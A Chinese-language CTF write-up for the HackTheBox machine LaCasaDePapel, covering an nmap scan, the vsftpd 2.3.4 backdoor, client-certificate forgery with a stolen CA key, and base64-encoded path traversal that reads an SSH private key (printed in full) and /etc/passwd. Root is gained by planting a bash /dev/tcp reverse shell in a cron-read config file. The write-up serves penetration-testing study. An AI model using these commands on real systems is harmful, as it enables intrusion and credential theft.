基本信息

端口扫描

21,22,80,443:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ nmap -sC -sV 10.10.10.131

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-03 14:15 CST
Nmap scan report for 10.10.10.131
Host is up (0.068s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
| 256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_ 256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp open http Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open ssl/http Node.js Express framework
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after: 2029-01-24T08:35:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
| http/1.1
|_ http/1.0
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.10 seconds

80

443

443提示需要客户端证书:

vsftpd

vsftpd 2.3.4,可以搜到个后门:

psy

直接利用可以得到psy shell:

可以执行一些php函数,根据phpinfo()可以知道禁用了常见的执行命令函数,scandir之类的可以查看目录

ca.key

nairobi用户目录得到一个ca证书:

tokyo

查看变量发现用户证书是根据ca.key生成的:

Private Area

用户证书

使用ca.key生成用户证书

1
2
3
4
openssl s_client -connect 10.10.10.131:443

openssl req -x509 -new -nodes -key ca.key -sha256 -days 1024 -out miao.pem
openssl pkcs12 -export -in miao.pem -inkey ca.key -out miao.p12

之后浏览器导入p12证书,刷新443,确认后进入PRIVATE AREA:

路径遍历

任意选择一个进去,可以下载avi,注意到文件名只是base64编码:

1
2
3
4
https://10.10.10.131/file/U0VBU09OLTEvMDEuYXZp

echo U0VBU09OLTEvMDEuYXZp | base64 -d
SEASON-1/01.avi

user flag

路径遍历查看到文件,文件名编码,得到user.txt:

1
2
3
4
5
6
https://10.10.10.131/?path=..

$ echo -n "../user.txt" | base64
Li4vdXNlci50eHQ=

https://10.10.10.131/file/Li4vdXNlci50eHQ=

ssh私钥及用户名

同样的方式,读取ssh私钥已经/etc/passw提取用户名:

1
2
curl -k https://10.10.10.131/file/$(echo -n "../.ssh/id_rsa" | base64)
curl -k https://10.10.10.131/file/$(echo -n "../../../../../etc/passwd" | base64)

id_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAotH6Ygupi7JhjdbDXhg2f9xmzxaDNdxxEioAgH2GjUeUc4cJeTfU
/yWg1vyx1dXqanfwAzYOQLUgO9/rDbI9y51rTQnLhHsp/iFiGdvDO5iZwLNrwmzVLxgGc+
mNac3qxHcuHx7q+zQHB8NfU/qzyAL2/xsRkzBODRg21tsVqnTV83T8CFSBUO2jzitHFNjv
YbacP+Jn9Q5Y2HRdE03DWnAJJ7zk4SWWicM3riuuYyeqV6OYKboHwi+FB94Yx1xaPFGP7T
0jnBU3molURhKKolNqY78PE5qYplO/eO5H/7vKbrF7J5VtsVpvGQsmjqUhQK/GoYrMudIh
cfQSMUnpgWXYtCnIpBa53aY/fl0XYpL9a1ZQh1iGm4oleVnZNvqMa4mb+8kC8k3WDmw9pq
/W3eGVQ6Xe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lA9S4aB2yuN+tAMeU0E6jKgh1+ROlNwXu48uN/QL50gZpiLcSlqZnhFQ/2El2Uvj2Y/S
PnklDVQnQ/5yZBQR0bBiy/EJIOfJQo0KRbR/pq51eUhzBSEBMz6nBIY8zPdOVfhngZUpMe
4S7N1RPDWS2OvGwwWkwmmiJe45cGD7SKLj0Jv+p/DZ+k9ZiI5tEGY87DKAh0wrV04u4I/l
xGl6TCoXDr7hi1dAdVWW84cj8mFW7q9UN0y15Vn82HPIq5ZaSKfM6qPKfYeBBaN8hUIogf
+FlwHjzSWOPb0AAAEBAMNU3uGeUUMVn1dUOMeemr+LJVHHjtqbL3oq97+fd1ZQ6vchTyKX
6cbCC7gB13qJ6oWO1GhB9e4SAd3DYiNv/LO9z1886DyqNLVHKYXn0SNSLTPb7n9NjwJNz1
GuPqW43pGwlBhMPZhJPA+4wmiO9GV+GXlaFrz16Or/qCexGyovMIhKtV0Ks3XzHhhjG41e
gKd/wGl3vV74pTWIyS2Nrtilb7ii8jd2MezuSTf7SmjiE0GPY8xt0ZqVq+/Fj/vfM+vbN1
ram9k+oABmLisVVgkKvfbzWRmGMDfG2X0jOrIw52TZn9MwTcr+oMyi1RTG7oabPl6cNM0x
X3a0iF5JE3kAAAAYYmVybGluQGxhY2FzYWRlcGFwZWwuaHRiAQID
-----END OPENSSH PRIVATE KEY-----

professor & 提权信息

得到的私钥可以登录professor用户:

提权信息

root会定时读取memcached.ini,执行里面命令,我们不能直接修改这个文件,但对目录有些权限,可以删除文件后创建新的:

提权 & root flag

删除创建文件,等待触发,读取root.txt:

1
2
3
rm memcached.ini 

echo -e "[program:memcached]\ncommand = bash -c 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1'" > memcached.ini

参考资料